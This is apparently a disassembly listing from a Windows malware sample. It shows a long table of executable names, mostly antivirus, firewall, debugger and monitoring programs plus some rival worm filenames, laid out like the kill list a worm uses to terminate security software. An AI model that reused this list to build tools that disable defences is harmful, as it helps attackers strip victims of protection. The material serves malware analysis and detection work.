aSmss32_exe db 'SMSS32.EXE',0 ; DATA XREF: ___:00438998o
align 4
aSms_exe db 'SMS.EXE',0 ; DATA XREF: ___:00438994o
aSmc_exe db 'SMC.EXE',0 ; DATA XREF: ___:00438990o
aShowbehind_exe db 'SHOWBEHIND.EXE',0 ; DATA XREF: ___:0043898Co
align 4
aShn_exe db 'SHN.EXE',0 ; DATA XREF: ___:00438988o
aShellspyinstal db 'SHELLSPYINSTALL.EXE',0 ; DATA XREF: ___:00438984o
aSh_exe db 'SH.EXE',0 ; DATA XREF: ___:00438980o
align 4
aSgssfw32_exe db 'SGSSFW32.EXE',0 ; DATA XREF: ___:0043897Co
align 4
aSfc_exe db 'SFC.EXE',0 ; DATA XREF: ___:00438978o
aSetup_flowprot db 'SETUP_FLOWPROTECTOR_US.EXE',0 ; DATA XREF: ___:00438974o
align 10h
aSetupvameeval_ db 'SETUPVAMEEVAL.EXE',0 ; DATA XREF: ___:00438970o
align 4
aServlces_exe db 'SERVLCES.EXE',0 ; DATA XREF: ___:0043896Co
align 4
aServlce_exe db 'SERVLCE.EXE',0 ; DATA XREF: ___:00438968o
aService_exe db 'SERVICE.EXE',0 ; DATA XREF: ___:00438964o
aServ95_exe db 'SERV95.EXE',0 ; DATA XREF: ___:00438960o
align 4
aSd_exe db 'SD.EXE',0 ; DATA XREF: ___:0043895Co
align 10h
aScvhost_exe db 'SCVHOST.EXE',0 ; DATA XREF: ___:00438958o
aScrsvr_exe db 'SCRSVR.EXE',0 ; DATA XREF: ___:00438954o
align 4
aScrscan_exe db 'SCRSCAN.EXE',0 ; DATA XREF: ___:00438950o
aScanpm_exe db 'SCANPM.EXE',0 ; DATA XREF: ___:0043894Co
align 10h
aScan95_exe db 'SCAN95.EXE',0 ; DATA XREF: ___:00438948o
align 4
aScan32_exe db 'SCAN32.EXE',0 ; DATA XREF: ___:00438944o
align 4
aScam32_exe db 'SCAM32.EXE',0 ; DATA XREF: ___:00438940o
align 4
aSc_exe db 'SC.EXE',0 ; DATA XREF: ___:0043893Co
align 4
aSbserv_exe db 'SBSERV.EXE',0 ; DATA XREF: ___:00438938o
align 4
aSavenow_exe db 'SAVENOW.EXE',0 ; DATA XREF: ___:00438934o
aSave_exe db 'SAVE.EXE',0 ; DATA XREF: ___:00438930o
align 10h
aSahagent_exe db 'SAHAGENT.EXE',0 ; DATA XREF: ___:0043892Co
align 10h
aSafeweb_exe db 'SAFEWEB.EXE',0 ; DATA XREF: ___:00438928o
aRuxdll32_exe db 'RUXDLL32.EXE',0 ; DATA XREF: ___:00438924o
align 4
aRundll16_exe db 'RUNDLL16.EXE',0 ; DATA XREF: ___:00438920o
align 4
aRundll_exe db 'RUNDLL.EXE',0 ; DATA XREF: ___:0043891Co
align 4
aRun32dll_exe db 'RUN32DLL.EXE',0 ; DATA XREF: ___:00438918o
align 4
aRulaunch_exe db 'RULAUNCH.EXE',0 ; DATA XREF: ___:00438914o
align 4
aRtvscn95_exe db 'RTVSCN95.EXE',0 ; DATA XREF: ___:00438910o
align 4
aRtvscan_exe db 'RTVSCAN.EXE',0 ; DATA XREF: ___:0043890Co
aRshell_exe db 'RSHELL.EXE',0 ; DATA XREF: ___:00438908o
align 10h
aRrguard_exe db 'RRGUARD.EXE',0 ; DATA XREF: ___:00438904o
aRescue32_exe db 'RESCUE32.EXE',0 ; DATA XREF: ___:00438900o
align 4
aRescue_exe db 'RESCUE.EXE',0 ; DATA XREF: ___:004388FCo
align 4
aRegedt32_exe db 'REGEDT32.EXE',0 ; DATA XREF: ___:004388F8o
align 4
aRegedit_exe db 'REGEDIT.EXE',0 ; DATA XREF: ___:004388F4o
aReged_exe db 'REGED.EXE',0 ; DATA XREF: ___:004388F0o
align 10h
aRealmon_exe db 'REALMON.EXE',0 ; DATA XREF: ___:004388ECo
aRcsync_exe db 'RCSYNC.EXE',0 ; DATA XREF: ___:004388E8o
align 4
aRb32_exe db 'RB32.EXE',0 ; DATA XREF: ___:004388E4o
align 4
aRay_exe db 'RAY.EXE',0 ; DATA XREF: ___:004388E0o
aRav8win32eng_e db 'RAV8WIN32ENG.EXE',0 ; DATA XREF: ___:004388DCo
align 10h
aRav7win_exe db 'RAV7WIN.EXE',0 ; DATA XREF: ___:004388D8o
aRav7_exe db 'RAV7.EXE',0 ; DATA XREF: ___:004388D4o
align 4
aRapapp_exe db 'RAPAPP.EXE',0 ; DATA XREF: ___:004388D0o
align 4
aQserver_exe db 'QSERVER.EXE',0 ; DATA XREF: ___:004388CCo
aQconsole_exe db 'QCONSOLE.EXE',0 ; DATA XREF: ___:004388C8o
align 10h
aPview95_exe db 'PVIEW95.EXE',0 ; DATA XREF: ___:004388C4o
aPussy_exe db 'PUSSY.EXE',0 ; DATA XREF: ___:004388C0o
align 4
aPurge_exe db 'PURGE.EXE',0 ; DATA XREF: ___:004388BCo
align 4
aPspf_exe db 'PSPF.EXE',0 ; DATA XREF: ___:004388B8o
align 10h
aProtectx_exe db 'PROTECTX.EXE',0 ; DATA XREF: ___:004388B4o
align 10h
aProport_exe db 'PROPORT.EXE',0 ; DATA XREF: ___:004388B0o
aProgramauditor db 'PROGRAMAUDITOR.EXE',0 ; DATA XREF: ___:004388ACo
align 10h
aProcexplorerv1 db 'PROCEXPLORERV1.0.EXE',0 ; DATA XREF: ___:004388A8o
align 4
aProcessmonitor db 'PROCESSMONITOR.EXE',0 ; DATA XREF: ___:004388A4o
align 4
aProcdump_exe db 'PROCDUMP.EXE',0 ; DATA XREF: ___:004388A0o
align 4
aPrmvr_exe db 'PRMVR.EXE',0 ; DATA XREF: ___:0043889Co
align 4
aPrmt_exe db 'PRMT.EXE',0 ; DATA XREF: ___:00438898o
align 4
aPrizesurfer_ex db 'PRIZESURFER.EXE',0 ; DATA XREF: ___:00438894o
aPpvstop_exe db 'PPVSTOP.EXE',0 ; DATA XREF: ___:00438890o
aPptbc_exe db 'PPTBC.EXE',0 ; DATA XREF: ___:0043888Co
align 4
aPpinupdt_exe db 'PPINUPDT.EXE',0 ; DATA XREF: ___:00438888o
align 4
aPowerscan_exe db 'POWERSCAN.EXE',0 ; DATA XREF: ___:00438884o
align 4
aPortmonitor_ex db 'PORTMONITOR.EXE',0 ; DATA XREF: ___:00438880o
aPortdetective_ db 'PORTDETECTIVE.EXE',0 ; DATA XREF: ___:0043887Co
align 10h
aPopscan_exe db 'POPSCAN.EXE',0 ; DATA XREF: ___:00438878o
aPoproxy_exe db 'POPROXY.EXE',0 ; DATA XREF: ___:00438874o
aPop3trap_exe db 'POP3TRAP.EXE',0 ; DATA XREF: ___:00438870o
align 4
aPlatin_exe db 'PLATIN.EXE',0 ; DATA XREF: ___:0043886Co
align 4
aPingscan_exe db 'PINGSCAN.EXE',0 ; DATA XREF: ___:00438868o
align 4
aPgmonitr_exe db 'PGMONITR.EXE',0 ; DATA XREF: ___:00438864o
align 4
aPfwadmin_exe db 'PFWADMIN.EXE',0 ; DATA XREF: ___:00438860o
align 4
aPf2_exe db 'PF2.EXE',0 ; DATA XREF: ___:0043885Co
aPerswf_exe db 'PERSWF.EXE',0 ; DATA XREF: ___:00438858o
align 4
aPersfw_exe db 'PERSFW.EXE',0 ; DATA XREF: ___:00438854o
align 4
aPeriscope_exe db 'PERISCOPE.EXE',0 ; DATA XREF: ___:00438850o
align 4
aPenis_exe db 'PENIS.EXE',0 ; DATA XREF: ___:0043884Co
align 10h
aPdsetup_exe db 'PDSETUP.EXE',0 ; DATA XREF: ___:00438848o
aPcscan_exe db 'PCSCAN.EXE',0 ; DATA XREF: ___:00438844o
align 4
aPcip10117_0_ex db 'PCIP10117_0.EXE',0 ; DATA XREF: ___:00438840o
aPcfwallicon_ex db 'PCFWALLICON.EXE',0 ; DATA XREF: ___:0043883Co
aPcdsetup_exe db 'PCDSETUP.EXE',0 ; DATA XREF: ___:00438838o
align 4
aPccwin98_exe db 'PCCWIN98.EXE',0 ; DATA XREF: ___:00438834o
align 4
aPccwin97_exe db 'PCCWIN97.EXE',0 ; DATA XREF: ___:00438830o
align 4
aPccntmon_exe db 'PCCNTMON.EXE',0 ; DATA XREF: ___:0043882Co
align 4
aPcciomon_exe db 'PCCIOMON.EXE',0 ; DATA XREF: ___:00438828o
align 4
aPcc2k_76_1436_ db 'PCC2K_76_1436.EXE',0 ; DATA XREF: ___:00438824o
align 4
aPcc2002s902_ex db 'PCC2002S902.EXE',0 ; DATA XREF: ___:00438820o
aPavw_exe db 'PAVW.EXE',0 ; DATA XREF: ___:0043881Co
align 4
aPavsched_exe db 'PAVSCHED.EXE',0 ; DATA XREF: ___:00438818o
align 4
aPavproxy_exe db 'PAVPROXY.EXE',0 ; DATA XREF: ___:00438814o
align 4
aPavcl_exe db 'PAVCL.EXE',0 ; DATA XREF: ___:00438810o
align 4
aPatch_exe db 'PATCH.EXE',0 ; DATA XREF: ___:0043880Co
align 10h
aPanixk_exe db 'PANIXK.EXE',0 ; DATA XREF: ___:00438808o
align 4
aPadmin_exe db 'PADMIN.EXE',0 ; DATA XREF: ___:00438804o
align 4
aOutpostproinst db 'OUTPOSTPROINSTALL.EXE',0 ; DATA XREF: ___:00438800o
align 10h
aOutpostinstall db 'OUTPOSTINSTALL.EXE',0 ; DATA XREF: ___:004387FCo
align 4
aOutpost_exe db 'OUTPOST.EXE',0 ; DATA XREF: ___:004387F4o
; ___:004387F8o
aOtfix_exe db 'OTFIX.EXE',0 ; DATA XREF: ___:004387F0o
align 4
aOstronet_exe db 'OSTRONET.EXE',0 ; DATA XREF: ___:004387ECo
align 4
aOptimize_exe db 'OPTIMIZE.EXE',0 ; DATA XREF: ___:004387E8o
align 4
aOnsrvr_exe db 'ONSRVR.EXE',0 ; DATA XREF: ___:004387E4o
align 4
aOllydbg_exe db 'OLLYDBG.EXE',0 ; DATA XREF: ___:004387E0o
aNwtool16_exe db 'NWTOOL16.EXE',0 ; DATA XREF: ___:004387DCo
align 4
aNwservice_exe db 'NWSERVICE.EXE',0 ; DATA XREF: ___:004387D8o
align 4
aNwinst4_exe db 'NWINST4.EXE',0 ; DATA XREF: ___:004387D4o
aNvsvc32_exe db 'NVSVC32.EXE',0 ; DATA XREF: ___:004387D0o
aNvc95_exe db 'NVC95.EXE',0 ; DATA XREF: ___:004387CCo
align 4
aNvarch16_exe db 'NVARCH16.EXE',0 ; DATA XREF: ___:004387C8o
align 4
aNupgrade_exe db 'NUPGRADE.EXE',0 ; DATA XREF: ___:004387C0o
; ___:004387C4o
align 4
aNui_exe db 'NUI.EXE',0 ; DATA XREF: ___:004387BCo
aNtxconfig_exe db 'NTXconfig.EXE',0 ; DATA XREF: ___:004387B8o
align 10h
aNtvdm_exe db 'NTVDM.EXE',0 ; DATA XREF: ___:004387B4o
align 4
aNtrtscan_exe db 'NTRTSCAN.EXE',0 ; DATA XREF: ___:004387B0o
align 4
aNt_exe db 'NT.EXE',0 ; DATA XREF: ___:004387ACo
align 4
aNsupdate_exe db 'NSUPDATE.EXE',0 ; DATA XREF: ___:004387A8o
align 4
aNstask32_exe db 'NSTASK32.EXE',0 ; DATA XREF: ___:004387A4o
align 4
aNssys32_exe db 'NSSYS32.EXE',0 ; DATA XREF: ___:004387A0o
aNsched32_exe db 'NSCHED32.EXE',0 ; DATA XREF: ___:0043879Co
align 10h
aNpssvc_exe db 'NPSSVC.EXE',0 ; DATA XREF: ___:00438798o
align 4
aNpscheck_exe db 'NPSCHECK.EXE',0 ; DATA XREF: ___:00438794o
align 4
aNprotect_exe db 'NPROTECT.EXE',0 ; DATA XREF: ___:00438790o
align 4
aNpfmessenger_e db 'NPFMESSENGER.EXE',0 ; DATA XREF: ___:0043878Co
align 10h
aNpf40_tw_98_nt db 'NPF40_TW_98_NT_ME_2K.EXE',0 ; DATA XREF: ___:00438788o
align 4
aNotstart_exe db 'NOTSTART.EXE',0 ; DATA XREF: ___:00438784o
align 4
aNorton_interne db 'NORTON_INTERNET_SECU_3.0_407.EXE',0 ; DATA XREF: ___:00438780o
align 10h
aNormist_exe db 'NORMIST.EXE',0 ; DATA XREF: ___:0043877Co
aNod32_exe db 'NOD32.EXE',0 ; DATA XREF: ___:00438778o
align 4
aNmain_exe db 'NMAIN.EXE',0 ; DATA XREF: ___:00438774o
align 4
aNisum_exe db 'NISUM.EXE',0 ; DATA XREF: ___:00438770o
align 10h
aNisserv_exe db 'NISSERV.EXE',0 ; DATA XREF: ___:0043876Co
aNetutils_exe db 'NETUTILS.EXE',0 ; DATA XREF: ___:00438768o
align 4
aNetstat_exe db 'NETSTAT.EXE',0 ; DATA XREF: ___:00438764o
aNetspyhunter1_ db 'NETSPYHUNTER-1.2.EXE',0 ; DATA XREF: ___:00438760o
align 10h
aNetscanpro_exe db 'NETSCANPRO.EXE',0 ; DATA XREF: ___:0043875Co
align 10h
aNetmon_exe db 'NETMON.EXE',0 ; DATA XREF: ___:00438758o
align 4
aNetinfo_exe db 'NETINFO.EXE',0 ; DATA XREF: ___:00438754o
aNetd32_exe db 'NETD32.EXE',0 ; DATA XREF: ___:00438750o
align 4
aNetarmor_exe db 'NETARMOR.EXE',0 ; DATA XREF: ___:0043874Co
align 4
aNeowatchlog_ex db 'NEOWATCHLOG.EXE',0 ; DATA XREF: ___:00438748o
aNeomonitor_exe db 'NEOMONITOR.EXE',0 ; DATA XREF: ___:00438744o
align 4
aNdd32_exe db 'NDD32.EXE',0 ; DATA XREF: ___:00438740o
align 10h
aNcinst4_exe db 'NCINST4.EXE',0 ; DATA XREF: ___:0043873Co
aNc2000_exe db 'NC2000.EXE',0 ; DATA XREF: ___:00438738o
align 4
aNavwnt_exe db 'NAVWNT.EXE',0 ; DATA XREF: ___:00438734o
align 4
aNavw32_exe db 'NAVW32.EXE',0 ; DATA XREF: ___:00438730o
align 10h
aNavstub_exe db 'NAVSTUB.EXE',0 ; DATA XREF: ___:0043872Co
aNavnt_exe db 'NAVNT.EXE',0 ; DATA XREF: ___:00438728o
align 4
aNavlu32_exe db 'NAVLU32.EXE',0 ; DATA XREF: ___:00438724o
aNavengnavex15_ db 'NAVENGNAVEX15.NAVLU32.EXE',0 ; DATA XREF: ___:00438720o
align 10h
aNavdx_exe db 'NAVDX.EXE',0 ; DATA XREF: ___:0043871Co
align 4
aNavapw32_exe db 'NAVAPW32.EXE',0 ; DATA XREF: ___:00438718o
align 4
aNavapsvc_exe db 'NAVAPSVC.EXE',0 ; DATA XREF: ___:00438714o
align 4
aNavap_navapsvc db 'NAVAP.NAVAPSVC.EXE',0 ; DATA XREF: ___:00438710o
align 10h
aAutoProtect_na db 'AUTO-PROTECT.NAV80TRY.EXE',0 ; DATA XREF: ___:0043870Co
align 4
aNav_exe db 'NAV.EXE',0 ; DATA XREF: ___:00438708o
aN32scanw_exe db 'N32SCANW.EXE',0 ; DATA XREF: ___:00438704o
align 4
aMwatch_exe db 'MWATCH.EXE',0 ; DATA XREF: ___:00438700o
align 10h
aMu0311ad_exe db 'MU0311AD.EXE',0 ; DATA XREF: ___:004386FCo
align 10h
aMsvxd_exe db 'MSVXD.EXE',0 ; DATA XREF: ___:004386F8o
align 4
aMssys_exe db 'MSSYS.EXE',0 ; DATA XREF: ___:004386F4o
align 4
aMssmmc32_exe db 'MSSMMC32.EXE',0 ; DATA XREF: ___:004386F0o
align 4
aMsmsgri32_exe db 'MSMSGRI32.EXE',0 ; DATA XREF: ___:004386ECo
align 4
aMsmgt_exe db 'MSMGT.EXE',0 ; DATA XREF: ___:004386E8o
align 4
aMslaugh_exe db 'MSLAUGH.EXE',0 ; DATA XREF: ___:004386E4o
aMsinfo32_exe db 'MSINFO32.EXE',0 ; DATA XREF: ___:004386E0o
align 10h
aMsiexec16_exe db 'MSIEXEC16.EXE',0 ; DATA XREF: ___:004386DCo
align 10h
aMsdos_exe db 'MSDOS.EXE',0 ; DATA XREF: ___:004386D8o
align 4
aMsdm_exe db 'MSDM.EXE',0 ; DATA XREF: ___:004386D4o
align 4
aMsconfig_exe db 'MSCONFIG.EXE',0 ; DATA XREF: ___:004386D0o
align 4
aMscman_exe db 'MSCMAN.EXE',0 ; DATA XREF: ___:004386CCo
align 4
aMsccn32_exe db 'MSCCN32.EXE',0 ; DATA XREF: ___:004386C8o
aMscache_exe db 'MSCACHE.EXE',0 ; DATA XREF: ___:004386C4o
aMsblast_exe db 'MSBLAST.EXE',0 ; DATA XREF: ___:004386C0o
aMsbb_exe db 'MSBB.EXE',0 ; DATA XREF: ___:004386BCo
align 4
aMsapp_exe db 'MSAPP.EXE',0 ; DATA XREF: ___:004386B8o
align 10h
aMrflux_exe db 'MRFLUX.EXE',0 ; DATA XREF: ___:004386B4o
align 4
aMpftray_exe db 'MPFTRAY.EXE',0 ; DATA XREF: ___:004386B0o
aMpfservice_exe db 'MPFSERVICE.EXE',0 ; DATA XREF: ___:004386ACo
align 4
aMpfagent_exe db 'MPFAGENT.EXE',0 ; DATA XREF: ___:004386A8o
align 4
aMostat_exe db 'MOSTAT.EXE',0 ; DATA XREF: ___:004386A4o
align 4
aMoolive_exe db 'MOOLIVE.EXE',0 ; DATA XREF: ___:004386A0o
aMonitor_exe db 'MONITOR.EXE',0 ; DATA XREF: ___:0043869Co
aMmod_exe db 'MMOD.EXE',0 ; DATA XREF: ___:00438698o
align 4
aMinilog_exe db 'MINILOG.EXE',0 ; DATA XREF: ___:00438694o
aMgui_exe db 'MGUI.EXE',0 ; DATA XREF: ___:00438690o
align 10h
aMghtml_exe db 'MGHTML.EXE',0 ; DATA XREF: ___:0043868Co
align 4
aMgavrte_exe db 'MGAVRTE.EXE',0 ; DATA XREF: ___:00438688o
aMgavrtcl_exe db 'MGAVRTCL.EXE',0 ; DATA XREF: ___:00438684o
align 4
aMfweng3_02d30_ db 'MFWENG3.02D30.EXE',0 ; DATA XREF: ___:00438680o
align 4
aMfw2en_exe db 'MFW2EN.EXE',0 ; DATA XREF: ___:0043867Co
align 4
aMfin32_exe db 'MFIN32.EXE',0 ; DATA XREF: ___:00438678o
align 4
aMd_exe db 'MD.EXE',0 ; DATA XREF: ___:00438674o
align 4
aMcvsshld_exe db 'MCVSSHLD.EXE',0 ; DATA XREF: ___:00438670o
align 4
aMcvsrte_exe db 'MCVSRTE.EXE',0 ; DATA XREF: ___:0043866Co
aMcupdate_exe db 'MCUPDATE.EXE',0 ; DATA XREF: ___:00438664o
; ___:00438668o
align 4
aMctool_exe db 'MCTOOL.EXE',0 ; DATA XREF: ___:00438660o
align 4
aMcshield_exe db 'MCSHIELD.EXE',0 ; DATA XREF: ___:0043865Co
align 4
aMcmnhdlr_exe db 'MCMNHDLR.EXE',0 ; DATA XREF: ___:00438658o
align 4
aMcagent_exe db 'MCAGENT.EXE',0 ; DATA XREF: ___:00438654o
aMapisvc32_exe db 'MAPISVC32.EXE',0 ; DATA XREF: ___:00438650o
align 10h
aLuspt_exe db 'LUSPT.EXE',0 ; DATA XREF: ___:0043864Co
align 4
aLuinit_exe db 'LUINIT.EXE',0 ; DATA XREF: ___:00438648o
align 4
aLucomserver_ex db 'LUCOMSERVER.EXE',0 ; DATA XREF: ___:00438644o
aLuau_exe db 'LUAU.EXE',0 ; DATA XREF: ___:00438640o
align 4
aLuall_exe db 'LUALL.EXE',0 ; DATA XREF: ___:00438638o
; ___:0043863Co
align 10h
aLsetup_exe db 'LSETUP.EXE',0 ; DATA XREF: ___:00438634o
align 4
aLordpe_exe db 'LORDPE.EXE',0 ; DATA XREF: ___:00438630o
align 4
aLookout_exe db 'LOOKOUT.EXE',0 ; DATA XREF: ___:0043862Co
aLockdown2000_e db 'LOCKDOWN2000.EXE',0 ; DATA XREF: ___:00438628o
align 4
aLockdown_exe db 'LOCKDOWN.EXE',0 ; DATA XREF: ___:00438624o
align 4
aLocalnet_exe db 'LOCALNET.EXE',0 ; DATA XREF: ___:00438620o
align 4
aLoader_exe db 'LOADER.EXE',0 ; DATA XREF: ___:0043861Co
align 4
aLnetinfo_exe db 'LNETINFO.EXE',0 ; DATA XREF: ___:00438618o
align 4
aLdscan_exe db 'LDSCAN.EXE',0 ; DATA XREF: ___:00438614o
align 10h
aLdpromenu_exe db 'LDPROMENU.EXE',0 ; DATA XREF: ___:00438610o
align 10h
aLdpro_exe db 'LDPRO.EXE',0 ; DATA XREF: ___:0043860Co
align 4
aLdnetmon_exe db 'LDNETMON.EXE',0 ; DATA XREF: ___:00438608o
align 4
aLauncher_exe db 'LAUNCHER.EXE',0 ; DATA XREF: ___:00438604o
align 4
aKillprocessset db 'KILLPROCESSSETUP161.EXE',0 ; DATA XREF: ___:00438600o
aKernel32_exe db 'KERNEL32.EXE',0 ; DATA XREF: ___:004385FCo
align 4
aKerioWrp421EnW db 'KERIO-WRP-421-EN-WIN.EXE',0 ; DATA XREF: ___:004385F8o
align 10h
aKerioWrl421EnW db 'KERIO-WRL-421-EN-WIN.EXE',0 ; DATA XREF: ___:004385F4o
align 4
aKerioPf213EnWi db 'KERIO-PF-213-EN-WIN.EXE',0 ; DATA XREF: ___:004385F0o
aKeenvalue_exe db 'KEENVALUE.EXE',0 ; DATA XREF: ___:004385ECo
align 4
aKazza_exe db 'KAZZA.EXE',0 ; DATA XREF: ___:004385E8o
align 10h
aKavpf_exe db 'KAVPF.EXE',0 ; DATA XREF: ___:004385E4o
align 4
aKavpers40eng_e db 'KAVPERS40ENG.EXE',0 ; DATA XREF: ___:004385E0o
align 10h
aKavlite40eng_e db 'KAVLITE40ENG.EXE',0 ; DATA XREF: ___:004385DCo
align 4
aJedi_exe db 'JEDI.EXE',0 ; DATA XREF: ___:004385D8o
align 10h
aJdbgmrg_exe db 'JDBGMRG.EXE',0 ; DATA XREF: ___:004385D4o
aJammer_exe db 'JAMMER.EXE',0 ; DATA XREF: ___:004385D0o
align 4
aIstsvc_exe db 'ISTSVC.EXE',0 ; DATA XREF: ___:004385CCo
align 4
aIsrv95_exe db 'ISRV95.EXE',0 ; DATA XREF: ___:004385C8o
align 10h
aIsass_exe db 'ISASS.EXE',0 ; DATA XREF: ___:004385C4o
align 4
aIris_exe db 'IRIS.EXE',0 ; DATA XREF: ___:004385C0o
align 4
aIparmor_exe db 'IPARMOR.EXE',0 ; DATA XREF: ___:004385BCo
aIomon98_exe db 'IOMON98.EXE',0 ; DATA XREF: ___:004385B8o
aIntren_exe db 'INTREN.EXE',0 ; DATA XREF: ___:004385B4o
align 4
aIntdel_exe db 'INTDEL.EXE',0 ; DATA XREF: ___:004385B0o
align 4
aInit_exe db 'INIT.EXE',0 ; DATA XREF: ___:004385ACo
align 4
aInfwin_exe db 'INFWIN.EXE',0 ; DATA XREF: ___:004385A8o
align 10h
aInfus_exe db 'INFUS.EXE',0 ; DATA XREF: ___:004385A4o
align 4
aInetlnfo_exe db 'INETLNFO.EXE',0 ; DATA XREF: ___:004385A0o
align 4
aIfw2000_exe db 'IFW2000.EXE',0 ; DATA XREF: ___:0043859Co
aIface_exe db 'IFACE.EXE',0 ; DATA XREF: ___:00438598o
align 4
aIexplorer_exe db 'IEXPLORER.EXE',0 ; DATA XREF: ___:00438594o
align 4
aIedriver_exe db 'IEDRIVER.EXE',0 ; DATA XREF: ___:00438590o
align 4
aIedll_exe db 'IEDLL.EXE',0 ; DATA XREF: ___:0043858Co
align 10h
aIdle_exe db 'IDLE.EXE',0 ; DATA XREF: ___:00438588o
align 4
aIcsuppnt_exe db 'ICSUPPNT.EXE',0 ; DATA XREF: ___:00438584o
align 4
aIcsupp95_exe db 'ICSUPP95.EXE',0 ; DATA XREF: ___:0043857Co
; ___:00438580o
align 4
aIcmon_exe db 'ICMON.EXE',0 ; DATA XREF: ___:00438578o
align 4
aIcloadnt_exe db 'ICLOADNT.EXE',0 ; DATA XREF: ___:00438574o
align 4
aIcload95_exe db 'ICLOAD95.EXE',0 ; DATA XREF: ___:00438570o
align 4
aIbmavsp_exe db 'IBMAVSP.EXE',0 ; DATA XREF: ___:0043856Co
aIbmasn_exe db 'IBMASN.EXE',0 ; DATA XREF: ___:00438568o
align 10h
aIamstats_exe db 'IAMSTATS.EXE',0 ; DATA XREF: ___:00438564o
align 10h
aIamserv_exe db 'IAMSERV.EXE',0 ; DATA XREF: ___:00438560o
aIamapp_exe db 'IAMAPP.EXE',0 ; DATA XREF: ___:0043855Co
align 4
aHxiul_exe db 'HXIUL.EXE',0 ; DATA XREF: ___:00438558o
align 4
aHxdl_exe db 'HXDL.EXE',0 ; DATA XREF: ___:00438554o
align 10h
aHwpe_exe db 'HWPE.EXE',0 ; DATA XREF: ___:00438550o
align 4
aHtpatch_exe db 'HTPATCH.EXE',0 ; DATA XREF: ___:0043854Co
aHtlog_exe db 'HTLOG.EXE',0 ; DATA XREF: ___:00438548o
align 4
aHotpatch_exe db 'HOTPATCH.EXE',0 ; DATA XREF: ___:00438544o
align 4
aHotactio_exe db 'HOTACTIO.EXE',0 ; DATA XREF: ___:00438540o
align 4
aHbsrv_exe db 'HBSRV.EXE',0 ; DATA XREF: ___:0043853Co
align 10h
aHbinst_exe db 'HBINST.EXE',0 ; DATA XREF: ___:00438538o
align 4
aHacktracersetu db 'HACKTRACERSETUP.EXE',0 ; DATA XREF: ___:00438534o
aGuarddog_exe db 'GUARDDOG.EXE',0 ; DATA XREF: ___:00438530o
align 10h
aGuard_exe db 'GUARD.EXE',0 ; DATA XREF: ___:0043852Co
align 4
aGmt_exe db 'GMT.EXE',0 ; DATA XREF: ___:00438528o
aGenerics_exe db 'GENERICS.EXE',0 ; DATA XREF: ___:00438524o
align 4
aGbpoll_exe db 'GBPOLL.EXE',0 ; DATA XREF: ___:00438520o
align 10h
aGbmenu_exe db 'GBMENU.EXE',0 ; DATA XREF: ___:0043851Co
align 4
aGator_exe db 'GATOR.EXE',0 ; DATA XREF: ___:00438518o
align 4
aFsmb32_exe db 'FSMB32.EXE',0 ; DATA XREF: ___:00438514o
align 4
aFsma32_exe db 'FSMA32.EXE',0 ; DATA XREF: ___:00438510o
align 10h
aFsm32_exe db 'FSM32.EXE',0 ; DATA XREF: ___:0043850Co
align 4
aFsgk32_exe db 'FSGK32.EXE',0 ; DATA XREF: ___:00438508o
align 4
aFsav95_exe db 'FSAV95.EXE',0 ; DATA XREF: ___:00438504o
align 4
aFsav530wtbyb_e db 'FSAV530WTBYB.EXE',0 ; DATA XREF: ___:00438500o
align 4
aFsav530stbyb_e db 'FSAV530STBYB.EXE',0 ; DATA XREF: ___:004384FCo
align 4
aFsav32_exe db 'FSAV32.EXE',0 ; DATA XREF: ___:004384F8o
align 4
aFsav_exe db 'FSAV.EXE',0 ; DATA XREF: ___:004384F4o
align 4
aFsaa_exe db 'FSAA.EXE',0 ; DATA XREF: ___:004384F0o
align 10h
aFrw_exe db 'FRW.EXE',0 ; DATA XREF: ___:004384ECo
aFprot_exe db 'FPROT.EXE',0 ; DATA XREF: ___:004384E8o
align 4
aFpWin_trial_ex db 'FP-WIN_TRIAL.EXE',0 ; DATA XREF: ___:004384E4o
align 4
aFpWin_exe db 'FP-WIN.EXE',0 ; DATA XREF: ___:004384E0o
align 4
aFnrb32_exe db 'FNRB32.EXE',0 ; DATA XREF: ___:004384DCo
align 10h
aFlowprotector_ db 'FLOWPROTECTOR.EXE',0 ; DATA XREF: ___:004384D8o
align 4
aFirewall_exe db 'FIREWALL.EXE',0 ; DATA XREF: ___:004384D4o
align 4
aFindviru_exe db 'FINDVIRU.EXE',0 ; DATA XREF: ___:004384D0o
align 4
aFih32_exe db 'FIH32.EXE',0 ; DATA XREF: ___:004384CCo
align 10h
aFch32_exe db 'FCH32.EXE',0 ; DATA XREF: ___:004384C8o
align 4
aFast_exe db 'FAST.EXE',0 ; DATA XREF: ___:004384C4o
align 4
aFameh32_exe db 'FAMEH32.EXE',0 ; DATA XREF: ___:004384C0o
aFStopw_exe db 'F-STOPW.EXE',0 ; DATA XREF: ___:004384BCo
aFProt95_exe db 'F-PROT95.EXE',0 ; DATA XREF: ___:004384B8o
align 10h
aFProt_exe db 'F-PROT.EXE',0 ; DATA XREF: ___:004384B4o
align 4
aFAgnt95_exe db 'F-AGNT95.EXE',0 ; DATA XREF: ___:004384B0o
align 4
aExplore_exe db 'EXPLORE.EXE',0 ; DATA XREF: ___:004384ACo
aExpert_exe db 'EXPERT.EXE',0 ; DATA XREF: ___:004384A8o
align 4
aExe_avxw_exe db 'EXE.AVXW.EXE',0 ; DATA XREF: ___:004384A4o
align 4
aExantivirusCne db 'EXANTIVIRUS-CNET.EXE',0 ; DATA XREF: ___:004384A0o
align 4
aEvpn_exe db 'EVPN.EXE',0 ; DATA XREF: ___:0043849Co
align 4
aEtrustcipe_exe db 'ETRUSTCIPE.EXE',0 ; DATA XREF: ___:00438498o
align 4
aEthereal_exe db 'ETHEREAL.EXE',0 ; DATA XREF: ___:00438494o
align 4
aEspwatch_exe db 'ESPWATCH.EXE',0 ; DATA XREF: ___:00438490o
align 4
aEscanv95_exe db 'ESCANV95.EXE',0 ; DATA XREF: ___:0043848Co
align 4
aEscanhnt_exe db 'ESCANHNT.EXE',0 ; DATA XREF: ___:00438488o
align 4
aEscanh95_exe db 'ESCANH95.EXE',0 ; DATA XREF: ___:00438484o
align 4
aEsafe_exe db 'ESAFE.EXE',0 ; DATA XREF: ___:00438480o
align 4
aEnt_exe db 'ENT.EXE',0 ; DATA XREF: ___:0043847Co
aEmsw_exe db 'EMSW.EXE',0 ; DATA XREF: ___:00438478o
align 4
aEfpeadm_exe db 'EFPEADM.EXE',0 ; DATA XREF: ___:00438474o
aEcengine_exe db 'ECENGINE.EXE',0 ; DATA XREF: ___:00438470o
align 4
aDvp95_0_exe db 'DVP95_0.EXE',0 ; DATA XREF: ___:0043846Co
aDvp95_exe db 'DVP95.EXE',0 ; DATA XREF: ___:00438468o
align 4
